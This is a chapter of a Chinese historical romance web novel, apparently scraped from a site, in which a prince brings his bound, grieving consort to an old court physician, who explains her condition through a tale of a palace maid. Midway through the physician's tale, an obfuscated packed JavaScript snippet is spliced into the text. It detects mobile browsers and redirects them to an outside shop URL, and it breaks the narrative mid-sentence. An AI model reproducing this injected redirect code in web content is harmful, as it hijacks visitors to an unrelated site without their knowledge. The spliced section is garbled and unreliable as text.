谢衍邯把凌昭昭塞进门外的马车,让车夫往前驾车。
“青砚,去旁边酒肆买两份鸡丝面和鲜虾饼,再买一碗红豆豆腐脑。”
裹在被褥间的凌昭昭渐渐安静下来。
“王爷知道...臣妾爱吃这个?”
她秀眉轻蹙,眼底一丝惊疑掠过,试探着开口道。
“之前吾恰好看见你的婢子霜月出去买这些,猜的。”明王道。
凌昭昭便不说话了,也是,王爷颖悟绝伦,心思剔透,不必特意去打听,知道又有什么好奇怪的。
不过,那些东西都是之前,她和他成亲没多久,为了夫唱妇随,也为了当个体恤民情的贤德王妃,每日吃青菜吃得嘴巴发苦,这才让霜月偷偷去外边带回来解馋的。
现在她已经不吃这些了。
等青砚把吃食买回来的时候,凌昭昭已经被从被褥解放出来,双手依然束缚着。
明王在出门前特意嘱人捎上了二人的外衣,他先给她套上了外衣,自己再穿戴整齐,束好头发。
由于凌昭昭的双手被缚着的缘故,外衣只能连她一双拘着的手一块盖住,阖上襟口,系上腰带,那腰间便隆出一双拳头的形状,着实好笑。
“你手不方便,吾喂你吃吧。”
谢衍邯不容置喙道。
凌昭昭鼻子酸溜溜的,有些不知所措地将脸别过一边。
“王爷,你到底想怎样呢?”她声如蚊呐道。
“吾说过的,你是吾的王妃,吾该对你好些,做到夫君该做的。”
“你现在这样是生病了,吾带你去治。”
谢衍邯道,随后,夹起食盒里一块虾饼,凑到她唇边。
凌昭昭憋得眼睛都红了,被束缚在衣裳里的双手抖个不停,她一滴眼泪滴在虾饼上,始终垂着头:
“王爷为何要...如此羞辱臣妾?”
明王一怔,
“吾没有。”
“吾只是希望你好,你不能这么折腾自己。”
“吃点东西,听话。”
谢衍邯眉头都快拧到一块了,手里还夹着那块虾饼,第一次碰见如此犟的凌氏。
昭昭觉得更委屈了,“王爷放了臣妾吧,王爷为什么要管臣妾,你管好你的叶姑娘就好,何必管臣妾这些。”
“吾是你夫君,凌氏你不要蛮不讲理,好吗?”谢衍邯第一次遇见这样会耍小性子的她,从前她永远都是体贴的、温良恭俭的,从不用人操心的,
“桐桐的事,吾自有主张的,吾不会辜负你,你何必这样摧折自己?”
口口声声说的是不会辜负,可实际却把人带到身边立为侧妃,如今还这样将她绑起来不知运去哪里,还说那样的话,凌昭昭眼泪一个没忍住就又汹涌而出。
“那我们和离吧,我们和离的话,王爷就再也不用操心臣妾的事了,请王爷放了臣妾吧!”
“凌氏,你不要闹了,好吗?”
谢衍邯已经彻底对她束手无策了,只能俯身去抱住她。
凌昭昭被他抱得吓了一跳,心里头更委屈,拼命挣扎起来。
“王爷,你有叶姑娘,请你放了臣妾,好吗?”
挣扎得累了,他的怀里仿佛铜墙铁壁似的,她怎么挣扎都纹丝不动,“臣妾好疼...好疼啊...”
她被他伤得不轻,不是单向感情上得不到回馈的疼,而是他的行为反反复复的,每次她以为自己终于能得到了,他就来给她一记沉重的打击。
以至于现在,她已经不敢轻易接受他的好,心已经麻木不仁,想把自己一层一层包裹起来了。
马车走过了大半个琊州,来到琊州相邻封州的一个郡,在一户有老槐树的门庭前停下。
那里出来一个老者,看样子似乎跟谢衍邯相熟的样子。
凌昭昭此时眼泪已经止歇,双手上束缚着的发带也被人解下来,衣服穿得整整齐齐的,头上的发髻是谢衍邯刚才在车上帮她绾的,那会她一边哭,他一边要固定她,还要梳她的发,又怕她挣扎会弄疼她头发,把他弄得心力交瘁。
“王妃的脉象来看...”老大夫隔着绸布给凌昭昭把脉,捋了捋胡子,又看了看那些被锈针弄出的斑驳伤痕。
“王妃这是怎么了?”不等老大夫说完,明王就焦急问了起来。
“王妃这是心病啊...”老大夫叹息道。
谢衍邯把老大夫拉到了旁边隔间说话,“赵院判,你从前最擅医治情志病,前朝祖父的后宫那样多疯癫的妃子都被你治好,你实话实说,王妃她这样,可是将情感投在了狗身上?让她怀上子嗣会好些吗?”
老院判听完了他的描述,沉吟片刻道:“老夫旁的不知晓,但老夫知道,王妃这样,绝不是盼子成狂所致。”
“王妃这是一腔热枕,尽数落空,并且屡屡受挫,时间长了,开始封锁自己,不再相信自己曾相信的,所以才会移情到别的地方。并且,这已经到了有些疯魔的情况,把自己沉浸起来,以获取内心的一丝慰藉。”
这个赵院判从前未告老还乡之前,在宫中治愈过许多癫狂疯魔的患者,他说的话很有分量。
“你的意思是...”明王皱起了眉头,“王妃她曾被伤害得很严重,才这样?”
老院判想了想,“老夫跟王爷讲个小故事,王爷就明白了。”
“老夫从前曾医治过一个渴望出宫的宫女,她年轻时听说给点孝敬那敬事房的总管,就能放出宫,于是她攒了好久的钱,终于找人搭上路给孝敬。”
“后面听那搭路的人说要让她赶紧准备好去内务府登记造册,她高兴得好几夜睡不着,提前一天就把所有工作都做好,往后的工作也安排好了,可去到才发现,她的银钱给他人作了嫁衣,那个她十分信任的宫人拿着她的钱去孝敬总管,被放了出宫。”
“那时候她年轻,没有被这些事打倒。她觉得最起码这条路是行得通的,只能继续攒钱。”
“在她最困窘的时候,甚至要同时承担起别的宫人的工作,还要捡别人剩下的绸缎边角,半夜熬着做成荷包,卖到宫外,就为了攒那几文钱。”
“就这样又熬了好几年,攒钱的这段岁月是相当难熬的,她不过三十出头,就熬成了满头白发,可她却甘之如饴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614604|204828||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,王爷可知是为何?”
“因为她觉得前方那个宫门在为她敞开着,她努努力就能够上了。”
“后来她再次攒够了钱,这次她额外多花了一些钱和心思,和一位同敬事房总管相熟的侍卫混熟了,这次找了一个侍卫,和她没有竞争,她觉得这次一定十拿九稳了。”
“可是,命运并没有眷顾她。那个敬事房总管因为私自更改宫女脉案,收受贿赂私放宫女出宫东窗事发,被斩了换人,现在换的那个新总管短时间内肯定不敢再干同样的事。”
“那宫女这次遭受打击很大,但她还是没有被击垮,她本身就是一个很乐观积极的人,她很快调整好自己,她觉得往后总有机会,所幸那个侍卫人好,把她的钱都还给了她,她就又燃起希望了。”
“在苦等的这段时间里,她每天都哄自己多笑一笑,哪怕被贵人打骂,被人泄愤踩爆了指头,她都笑着告诉自己,迟早能出宫的,让自己再忍忍,想想出宫后自己怡然田居的日子。”
“可这等待的过程越久,她被宫中的生活搓磨得憔悴日深,心气也渐渐被搓没了。”
“终于有一天,有个人告诉她,那些去伺候玉妃的宫人,干得好的都会被玉妃赐婚给侍卫,嫁出宫外,即便不被赐婚,央求一下娘娘,她也会给准备丰厚嫁妆送她出宫。”
“那宫女枯槁麻木的眼睛终于又一点点亮了。”
“她拼了命也要挤进玉清宫伺候玉妃,尽心尽意伺候好玉妃,皇天不负有心人,在一次她随玉妃去行宫的时候,替玉妃挡了一刀,痊愈后,玉妃问她想要什么赏赐。那一次她终于以为自己可以出宫了。”
“可玉妃听了她的要求后,摇摇头说,从来没有宫女可以活着出皇宫。”
“然后宫女便诧异了,她说,不对呀,从前就有人贿赂敬事房的总管出皇宫了呀,还有,别人都说来伺候玉妃娘娘,只要尽心尽意的话,就能出宫的啊。”
“她说奴婢不用娘娘赐婚,不用嫁妆,只求娘娘放奴婢出宫。”
“可玉妃却说,不对的,从来没有人可以出宫,以前贿赂冯公公那些宫人,都被冯公公悄悄药死了,本宫也从来没有准许宫人出宫,那些嫁人的也只是嫁给本宫的亲信,而且是名义上嫁罢了,本宫怜她们百年之后没有香火,这才让她们挂靠在本宫亲信的族谱,百年后受他们后代香火,嫁了人之后也还是留在宫里照顾本宫的。”
“宫女懵了,一下子全部的信仰垮了,她一下子病倒。”
“生了一场大病,因为颇受玉妃器重,把她治好了,可治好后,她举止就变得怪异了。”
“她开始爱到后花园里挖土吃,被人发现禀到玉妃那里,玉妃找到老夫去给她诊治。”
“老夫发现,她这是因为无数次希望落空,心里那点心气被消耗殆尽了。”
“所以到了后来,王爷你的皇祖父,也就是文帝下令大赦宫人,遣散宫女名单上有她,出宫当天她瑟缩着躲了起来,不敢出宫了,后来便被关在冷宫终日吃土为生,郁郁而终。”
“王妃的症状,正和那宫女相像啊。”
赵院判道。